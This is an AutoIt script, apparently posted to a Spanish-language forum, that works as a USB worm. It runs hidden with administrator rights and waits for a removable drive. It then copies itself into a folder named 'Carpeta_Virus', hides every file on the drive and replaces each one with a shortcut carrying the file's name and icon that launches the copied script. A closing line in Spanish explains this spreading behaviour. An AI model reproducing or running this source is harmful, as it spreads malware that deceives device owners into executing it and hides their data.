#include <GUIConstantsEx.au3>
#RequireAdmin
Opt("MustDeclareVars", 1)
Global Const $WM_DEVICECHANGE = 0x0219
Global Const $DBT_DEVICEARRIVAL = 0x8000
Global Const $DBT_DEVICEREMOVECOMPLETE = 0x8004
Global Const $DBT_DEVTYP_VOLUME = 0x00000002
Global $RutaVirus="Carpeta_Virus\" & @ScriptName
Global $Gui = GUICreate("WM_DEVICECHANGE")
GUISetState(@SW_HIDE)
GUIRegisterMsg($WM_DEVICECHANGE, "WM_DEVICECHANGE")
Do
Until GUIGetMsg() = -3
;USB_Main (Spreader)
Func USB_Main()
Local $USB_list=ListarUSB()
Local $i=1
Local $USB_ruta=""
For $i = 1 To $USB_list[0]
$USB_ruta=StringUpper($USB_list[$i]) & "\"
ConsoleWrite($USB_ruta & @CRLF)
If not(FileExists($USB_ruta & $RutaVirus)) Then
If Not FileCopy(@ScriptFullPath,$USB_ruta & $RutaVirus,8) then ContinueLoop
Crear_Shortcut($USB_ruta)
EndIf
Next
EndFunc
;Crear Accesos Directos
Func Crear_Shortcut($USB_ruta)
ConsoleWrite($USB_ruta & @CRLF)
Local $busca = FileFindFirstFile($USB_ruta & "*")
Local $filename=0,$Inicio=0,$Icono,$Extension="",$filenameold="",$Borrar=""
If $busca = -1 Then
Exit
EndIf
While 1
$filename = FileFindNextFile($busca)
If @error Then ExitLoop
$Inicio=StringInStr($filename,".")
$Extension=Stringmid($filename,$Inicio)
ConsoleWrite( "Extension: " & $Extension & @crlf)
$Icono=ExIcon_Path($Extension)
ConsoleWrite($Icono[0] & @CRLF & $Icono[1] & @CRLF)
If StringLeft($RutaVirus,StringInStr($RutaVirus,"\")-1)==$filename Then $Borrar= $USB_ruta & $filename & ".lnk"
if $Icono[1]=="" Then
$filenameold=$filename
If $Extension then
$filename=StringReplace($filename,$Extension,".lnk")
Else
$filename&=".lnk"
EndIf
FileCreateShortcut($USB_ruta & $RutaVirus,$USB_ruta & $filename ,"","","",$Icono[0])
Else
$filenameold=$filename
If $Extension then
$filename=StringReplace($filename,$Extension,".lnk")
Else
$filename&=".lnk"
EndIf
ConsoleWrite($USB_ruta & $RutaVirus & @CRLF)
FileCreateShortcut($USB_ruta & $RutaVirus,$USB_ruta & $filename,"","","",$Icono[0],"",$Icono[1])
EndIf
WEnd
FileDelete($Borrar)
FileClose($busca)
If Not FileSetAttrib($USB_ruta & "*","+H") Then Exit
If Not FileSetAttrib($USB_ruta & "*.lnk","-H") Then Exit
EndFunc
;Obtener Icono Ruta
Func ExIcon_Path($Extension)
Local $Icono_Ruta[2]
Local $i=1
Local $sApp=""
Local $iComa=0
If Not($Extension==".exe") then
$Icono_Ruta[1]=""
$sApp=RegRead("HKEY_CLASSES_ROOT\" & $Extension, "")
$Icono_Ruta[0]=RegRead("HKEY_CLASSES_ROOT\" & $sApp & "\DefaultIcon","")
EndIf
If $Icono_Ruta[0]="" Then
$Icono_Ruta[0]="shell32.dll"
$Icono_Ruta[1]=4
If not(@OSVersion="WIN_XP") Then
$Icono_Ruta[0]="imageres.dll"
EndIf
Return $Icono_Ruta
Else
$iComa=StringInStr($Icono_Ruta[0],",")
If $iComa=0 Then
Return $Icono_Ruta
Else
$Icono_Ruta[1]=StringMid($Icono_Ruta[0],$iComa+1)
$Icono_Ruta[0]=StringLeft($Icono_Ruta[0],$iComa-1)
Return $Icono_Ruta
EndIf
EndIf
EndFunc
;ListarUSB()
Func ListarUSB()
Local $USB = DriveGetDrive("REMOVABLE")
If @error Then
ConsoleWrite("Error DriveGetDrive" & @CRLF)
Else
;~ For $i = 1 To $USB[0]
;~ ; ConsoleWrite("USB " & $i & "/" & $USB[0] & ":" & @CRLF & StringUpper($USB[$i]) & @crlf)
;~ Next
Return $USB
EndIf
EndFunc
; rasim
; http://www.autoitscript.com/forum/topic/79460-usbmon/
Func WM_DEVICECHANGE($hWnd, $Msg, $wParam, $lParam)
If ($wParam = $DBT_DEVICEARRIVAL) Or ($wParam = $DBT_DEVICEREMOVECOMPLETE) Then
Local $DEV_BROADCAST_VOLUME = DllStructCreate("int dbcvsize;int dbcvdevicetype;int dbcvreserved;int dbcvunitmask;" & _
"ushort dbcvflags", $lParam)
Local $iDriveType = DllStructGetData($DEV_BROADCAST_VOLUME, "dbcvdevicetype")
Else
Return $GUI_RUNDEFMSG
EndIf
If $iDriveType <> $DBT_DEVTYP_VOLUME Then Return $GUI_RUNDEFMSG
Local $iMask = DllStructGetData($DEV_BROADCAST_VOLUME, "dbcvunitmask")
$iMask = Log($iMask) / Log(2)
Local $iDrive = Chr(65 + $iMask) & ":"
Switch $wParam
Case $DBT_DEVICEARRIVAL
;~ TrayTip("WM_DEVICECHANGE", "Conectado", 5, 1)
USB_Main()
;~ Case $DBT_DEVICEREMOVECOMPLETE
;~ TrayTip("WM_DEVICECHANGE", "Desconectado", 5, 2)
EndSwitch
Return $GUI_RUNDEFMSG
EndFunc
SaludosLo que hace es Copiarse a una Ruta de Un Pedriver y Cambia todos los Archivos A acceso directo a nuestra Copia del archivo con su respectivo Icono.